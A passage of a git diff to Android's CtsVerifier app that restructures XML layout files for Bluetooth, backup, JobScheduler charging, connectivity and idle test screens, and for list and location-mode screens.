+        android:indeterminate="true" />
 
-    <Button android:id="@+id/bt_scan_button"
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:drawableTop="@android:drawable/ic_menu_search"
-        android:text="@string/bt_scan"/>
+        android:layout_height="match_parent">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+            <TextView
+                style="?android:attr/listSeparatorTextViewStyle"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/bt_paired_devices" />
+            <FrameLayout
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_weight="1"
+                android:orientation="vertical">
+                <ListView
+                    android:id="@+id/bt_paired_devices"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent" />
+                <TextView
+                    android:id="@+id/bt_empty_paired_devices"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"
+                    android:gravity="center"
+                    android:text="@string/bt_no_devices"
+                    android:visibility="gone" />
+            </FrameLayout>
+
+            <TextView
+                style="?android:attr/listSeparatorTextViewStyle"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/bt_new_devices" />
+            <FrameLayout
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_weight="1"
+                android:orientation="vertical">
+                <ListView
+                    android:id="@+id/bt_new_devices"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent" />
+                <TextView
+                    android:id="@+id/bt_empty_new_devices"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"
+                    android:layout_weight="1"
+                    android:gravity="center"
+                    android:text="@string/bt_no_devices"
+                    android:visibility="gone" />
+            </FrameLayout>
+
+            <Button
+                android:id="@+id/bt_scan_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:drawableTop="@android:drawable/ic_menu_search"
+                android:text="@string/bt_scan" />
+        </LinearLayout>
+    </ScrollView>
 </LinearLayout>
-
diff --git a/apps/CtsVerifier/res/layout/bt_toggle.xml b/apps/CtsVerifier/res/layout/bt_toggle.xml
index c592c78..e3c00b7 100644
--- a/apps/CtsVerifier/res/layout/bt_toggle.xml
+++ b/apps/CtsVerifier/res/layout/bt_toggle.xml
@@ -13,30 +13,29 @@
      limitations under the License.
 -->
 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+    <TextView
+        style="@style/InstructionsFont"
         android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical"
-        style="@style/RootLayoutPadding">
-    <TextView android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_alignParentTop="true"
-            android:gravity="center"
-            android:text="@string/bt_toggle_instructions"
-            style="@style/InstructionsFont"
-            />
+        android:layout_height="wrap_content"
+        android:layout_alignParentTop="true"
+        android:gravity="center"
+        android:text="@string/bt_toggle_instructions" />
 
-    <ToggleButton android:id="@+id/bt_toggle_button"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_centerInParent="true"
-            android:textOn="@string/bt_disable_bluetooth"
-            android:textOff="@string/bt_enable_bluetooth"
-            />
-            
-    <include android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_alignParentBottom="true"
-            layout="@layout/pass_fail_buttons" 
-            />
+    <ToggleButton
+        android:id="@+id/bt_toggle_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_centerInParent="true"
+        android:textOff="@string/bt_enable_bluetooth"
+        android:textOn="@string/bt_disable_bluetooth" />
+
+    <include
+        layout="@layout/pass_fail_buttons"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_alignParentBottom="true" />
 
 </RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/bu_main.xml b/apps/CtsVerifier/res/layout/bu_main.xml
new file mode 100644
index 0000000..2289fee
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/bu_main.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2011 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+         android:orientation="vertical"
+         android:layout_width="match_parent"
+         android:layout_height="match_parent"
+         >
+         
+    <ListView android:id="@+id/android:list"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"
+            />
+            
+    <TextView android:id="@id/android:empty"
+           android:gravity="center"
+           android:layout_width="match_parent"
+           android:layout_height="wrap_content"
+           android:layout_weight="1"
+           android:text="@string/bu_loading"
+           />
+
+    <Button android:id="@+id/generate_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/bu_generate"
+            />
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/bu_preference_row.xml b/apps/CtsVerifier/res/layout/bu_preference_row.xml
new file mode 100644
index 0000000..c37eece
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/bu_preference_row.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2011 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:textSize="18sp"
+        android:padding="5dp"
+        />
diff --git a/apps/CtsVerifier/res/layout/bua_main.xml b/apps/CtsVerifier/res/layout/bua_main.xml
new file mode 100644
index 0000000..e2d5ef1
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/bua_main.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2011 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+         android:orientation="vertical"
+         android:layout_width="match_parent"
+         android:layout_height="match_parent"
+         >
+
+    <ListView android:id="@+id/android:list"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"
+            />
+
+    <TextView android:id="@id/android:empty"
+           android:gravity="center"
+           android:layout_width="match_parent"
+           android:layout_height="wrap_content"
+           android:layout_weight="1"
+           android:text="@string/bu_loading"
+           />
+
+    <Button android:id="@+id/generate_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/bua_read_settings"
+            />
+
+    <Button android:id="@+id/show_instructions_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/bua_show_instructions"
+            />
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/intent_driven_test.xml b/apps/CtsVerifier/res/layout/intent_driven_test.xml
index dbb54c9..794a6d6 100644
--- a/apps/CtsVerifier/res/layout/intent_driven_test.xml
+++ b/apps/CtsVerifier/res/layout/intent_driven_test.xml
@@ -1,36 +1,32 @@
 <?xml version="1.0" encoding="utf-8"?>
 
-<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
-    <LinearLayout app:ctsv_layout_box="all"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
         android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:orientation="vertical">
-
-        <ScrollView
+        android:layout_height="0dp"
+        android:layout_weight="1">
+        <TextView android:id="@+id/info"
             android:layout_width="match_parent"
-            android:layout_height="0dp"
-            android:layout_weight="1">
-            <TextView android:id="@+id/info"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:textSize="18sp"
-                android:padding="5dp"
-                android:text="@string/dc_start_alarm_test_info"/>
-        </ScrollView>
+            android:layout_height="wrap_content"
+            android:textSize="18sp"
+            android:padding="5dp"
+            android:text="@string/dc_start_alarm_test_info"/>
+    </ScrollView>
 
-        <LinearLayout android:id="@+id/buttons"
-            android:orientation="horizontal"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"/>
+    <LinearLayout android:id="@+id/buttons"
+        android:orientation="horizontal"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
 
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
 
-            <include layout="@layout/pass_fail_buttons"/>
-        </LinearLayout>
+        <include layout="@layout/pass_fail_buttons"/>
     </LinearLayout>
-</com.android.cts.verifier.BoxInsetLayout>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/js_charging.xml b/apps/CtsVerifier/res/layout/js_charging.xml
index 104b9ab..306d02d 100644
--- a/apps/CtsVerifier/res/layout/js_charging.xml
+++ b/apps/CtsVerifier/res/layout/js_charging.xml
@@ -1,4 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?><!--
+     Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -12,98 +13,102 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
 
-    <LinearLayout
-        android:orientation="vertical"
+    <ScrollView
         android:layout_width="match_parent"
         android:layout_height="match_parent">
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_test_description"
-            android:layout_margin="@dimen/js_padding"/>
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:text="@string/js_charging_description_1"
-            android:textStyle="bold"/>
-        <Button
-            android:id="@+id/js_charging_start_test_button"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_gravity="center"
-            android:text="@string/js_start_test_text"
-            android:onClick="startTest"
-            android:enabled="false"/>
-        <TextView
-            android:id="@+id/js_waiting_for_charging_text_view"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:text="@string/js_charging_description_3"
-            android:textStyle="bold"
-            android:visibility="gone"/>
-        <com.android.cts.verifier.TimerProgressBar
-            android:id="@+id/js_waiting_for_charging_progress_bar"
-            style="?android:attr/progressBarStyleHorizontal"
-            android:layout_width="fill_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:visibility="gone"/>
-        <TextView
-            android:id="@+id/js_problem_with_charger_text_view"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:text="@string/js_charging_description_4"
-            android:textStyle="bold"
-            android:visibility="gone"/>
         <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/charging_on_test_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
-            <TextView
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:text="@string/js_charging_on_test"
-                android:textSize="16dp"/>
-        </LinearLayout>
-        <TextView
             android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_margin="@dimen/js_padding"
-            android:text="@string/js_charging_description_2"
-            android:textStyle="bold"/>
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/charging_off_test_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
+            android:layout_height="match_parent"
+            android:orientation="vertical">
             <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_test_description"/>
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_charging_description_1"
+                android:textStyle="bold"/>
+            <Button
+                android:id="@+id/js_charging_start_test_button"
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:text="@string/js_charging_off_test"
-                android:textSize="16dp"/>
+                android:layout_gravity="center"
+                android:enabled="false"
+                android:onClick="startTest"
+                android:text="@string/js_start_test_text"/>
+            <TextView
+                android:id="@+id/js_waiting_for_charging_text_view"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_charging_description_3"
+                android:textStyle="bold"
+                android:visibility="gone"/>
+            <com.android.cts.verifier.TimerProgressBar
+                android:id="@+id/js_waiting_for_charging_progress_bar"
+                style="?android:attr/progressBarStyleHorizontal"
+                android:layout_width="fill_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:visibility="gone"/>
+            <TextView
+                android:id="@+id/js_problem_with_charger_text_view"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_charging_description_4"
+                android:textStyle="bold"
+                android:visibility="gone"/>
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginBottom="@dimen/js_padding"
+                android:layout_marginTop="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/charging_on_test_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_marginRight="@dimen/js_padding"
+                    android:src="@drawable/fs_indeterminate"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_charging_on_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_charging_description_2"
+                android:textStyle="bold"/>
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginBottom="@dimen/js_padding"
+                android:layout_marginTop="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/charging_off_test_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_marginRight="@dimen/js_padding"
+                    android:src="@drawable/fs_indeterminate"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_charging_off_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+            <include layout="@layout/pass_fail_buttons"/>
         </LinearLayout>
-        <include layout="@layout/pass_fail_buttons" />
-    </LinearLayout>
-</ScrollView>
+    </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/js_connectivity.xml b/apps/CtsVerifier/res/layout/js_connectivity.xml
index 981d444..923d19e 100644
--- a/apps/CtsVerifier/res/layout/js_connectivity.xml
+++ b/apps/CtsVerifier/res/layout/js_connectivity.xml
@@ -1,4 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?><!--
+     Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -12,91 +13,94 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<ScrollView
-    xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     style="@style/RootLayoutPadding"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <LinearLayout
-        android:orientation="vertical" android:layout_width="match_parent"
+    <ScrollView
+        android:layout_width="match_parent"
         android:layout_height="match_parent">
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_test_description"
-            android:layout_margin="@dimen/js_padding"/>
-
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_connectivity_description_1"
-            android:layout_margin="@dimen/js_padding"
-            android:textStyle="bold"/>
-
-        <Button
-            android:id="@+id/js_connectivity_start_test_button"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_gravity="center"
-            android:text="@string/js_start_test_text"
-            android:onClick="startTest"
-            android:enabled="false"/>
-
         <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/connectivity_off_test_unmetered_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
+            android:layout_width="match_parent" android:layout_height="match_parent"
+            android:orientation="vertical">
             <TextView
-                android:layout_width="wrap_content"
+                android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:text="@string/js_unmetered_connectivity_test"
-                android:textSize="16dp"/>
-        </LinearLayout>
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_test_description"/>
 
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/connectivity_off_test_any_connectivity_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
             <TextView
-                android:layout_width="wrap_content"
+                android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:text="@string/js_any_connectivity_test"
-                android:textSize="16dp"/>
-        </LinearLayout>
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_connectivity_description_1"
+                android:textStyle="bold"/>
 
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/connectivity_off_test_no_connectivity_image"
+            <Button
+                android:id="@+id/js_connectivity_start_test_button"
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
-            <TextView
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:text="@string/js_no_connectivity_test"
-                android:textSize="16dp"/>
-        </LinearLayout>
+                android:layout_gravity="center"
+                android:enabled="false"
+                android:onClick="startTest"
+                android:text="@string/js_start_test_text"/>
 
-        <include layout="@layout/pass_fail_buttons" />
-    </LinearLayout>
-</ScrollView>
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginBottom="@dimen/js_padding"
+                android:layout_marginTop="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/connectivity_off_test_unmetered_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_marginRight="@dimen/js_padding"
+                    android:src="@drawable/fs_indeterminate"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_unmetered_connectivity_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginBottom="@dimen/js_padding"
+                android:layout_marginTop="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/connectivity_off_test_any_connectivity_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_marginRight="@dimen/js_padding"
+                    android:src="@drawable/fs_indeterminate"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_any_connectivity_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_marginBottom="@dimen/js_padding"
+                android:layout_marginTop="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/connectivity_off_test_no_connectivity_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_marginRight="@dimen/js_padding"
+                    android:src="@drawable/fs_indeterminate"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_no_connectivity_test"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+
+            <include layout="@layout/pass_fail_buttons"/>
+        </LinearLayout>
+    </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/js_idle.xml b/apps/CtsVerifier/res/layout/js_idle.xml
index f329d5b..620ed97 100644
--- a/apps/CtsVerifier/res/layout/js_idle.xml
+++ b/apps/CtsVerifier/res/layout/js_idle.xml
@@ -1,4 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?><!--
+     Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -12,71 +13,74 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<ScrollView
-    xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-    <LinearLayout
-        android:orientation="vertical"
+    <ScrollView
         android:layout_width="match_parent"
         android:layout_height="match_parent">
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_test_description"
-            android:layout_margin="@dimen/js_padding"/>
-        <Button
-            android:id="@+id/js_idle_start_test_button"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_gravity="center"
-            android:text="@string/js_start_test_text"
-            android:onClick="startTest"
-            android:enabled="false"/>
-        <TextView
-            android:id="@+id/js_idle_continue_instruction_view"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/js_idle_continue_instruction"
-            android:layout_margin="@dimen/js_padding"
-            android:textStyle="bold"
-            android:visibility="gone"/>
+        <LinearLayout android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_test_description"/>
+            <Button
+                android:id="@+id/js_idle_start_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_gravity="center"
+                android:enabled="false"
+                android:onClick="startTest"
+                android:text="@string/js_start_test_text"/>
+            <TextView
+                android:id="@+id/js_idle_continue_instruction_view"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_margin="@dimen/js_padding"
+                android:text="@string/js_idle_continue_instruction"
+                android:textStyle="bold"
+                android:visibility="gone"/>
 
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/idle_off_test_image"
+            <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
-            <TextView
+                android:layout_marginBottom="@dimen/js_padding"
+                android:layout_marginTop="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/idle_off_test_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_marginRight="@dimen/js_padding"
+                    android:src="@drawable/fs_indeterminate"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_idle_item_idle_off"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+            <LinearLayout
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:text="@string/js_idle_item_idle_off"
-                android:textSize="16dp"/>
+                android:layout_marginBottom="@dimen/js_padding"
+                android:layout_marginTop="@dimen/js_padding">
+                <ImageView
+                    android:id="@+id/idle_on_test_image"
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:layout_marginRight="@dimen/js_padding"
+                    android:src="@drawable/fs_indeterminate"/>
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:text="@string/js_idle_item_idle_on"
+                    android:textSize="16dp"/>
+            </LinearLayout>
+
+            <include layout="@layout/pass_fail_buttons"/>
         </LinearLayout>
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="@dimen/js_padding"
-            android:layout_marginBottom="@dimen/js_padding">
-            <ImageView
-                android:id="@+id/idle_on_test_image"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:src="@drawable/fs_indeterminate"
-                android:layout_marginRight="@dimen/js_padding"/>
-            <TextView
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:text="@string/js_idle_item_idle_on"
-                android:textSize="16dp"/>
-        </LinearLayout>
-        <include layout="@layout/pass_fail_buttons" />
-    </LinearLayout>
-</ScrollView>
+    </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/list_content.xml b/apps/CtsVerifier/res/layout/list_content.xml
index e7de596..decef55 100644
--- a/apps/CtsVerifier/res/layout/list_content.xml
+++ b/apps/CtsVerifier/res/layout/list_content.xml
@@ -15,14 +15,12 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License
   -->
-<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
-
-    <ListView
-        android:id="@android:id/list"
-        app:ctsv_layout_box="all"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent" />
-</com.android.cts.verifier.BoxInsetLayout>
+    android:layout_height="match_parent"
+    style="@style/RootLayoutPadding">
+        <ListView
+            android:id="@android:id/list"
+            android:layout_width="match_parent"
+            android:layout_height="match_parent" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/location_mode_main.xml b/apps/CtsVerifier/res/layout/location_mode_main.xml
index 8b2ab43..a9206fa 100644
--- a/apps/CtsVerifier/res/layout/location_mode_main.xml
+++ b/apps/CtsVerifier/res/layout/location_mode_main.xml
@@ -18,22 +18,26 @@
     android:layout_width="match_parent"
     android:layout_height="match_parent"
     android:orientation="vertical">
-
-    <ScrollView
-        android:id="@+id/test_scroller"
+    <LinearLayout
         android:layout_width="match_parent"
-        android:layout_height="0dp"
-        android:layout_weight="1"
+        android:layout_height="match_parent"
         android:orientation="vertical">
 
-        <LinearLayout
-            android:id="@+id/test_items"
+        <ScrollView
+            android:id="@+id/test_scroller"
             android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="vertical" >
-        </LinearLayout>
-    </ScrollView>
+            android:layout_height="0dp"
+            android:layout_weight="1"
+            android:orientation="vertical">
+            <LinearLayout
+                android:id="@+id/test_items"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical">
+            </LinearLayout>
+        </ScrollView>
 
-    <include layout="@layout/pass_fail_buttons" />
+        <include layout="@layout/pass_fail_buttons"/>
 
+    </LinearLayout>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/organization_info.xml b/apps/CtsVerifier/res/layout/organization_info.xml
index 8381d1f..320fb8c 100644
--- a/apps/CtsVerifier/res/layout/organization_info.xml
+++ b/apps/CtsVerifier/res/layout/organization_info.xml
@@ -53,11 +53,6 @@
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
                 android:orientation="horizontal">
-            <Button android:id="@+id/organization_info_settings_button"
-                    android:layout_width="0dp"
-                    android:layout_height="wrap_content"
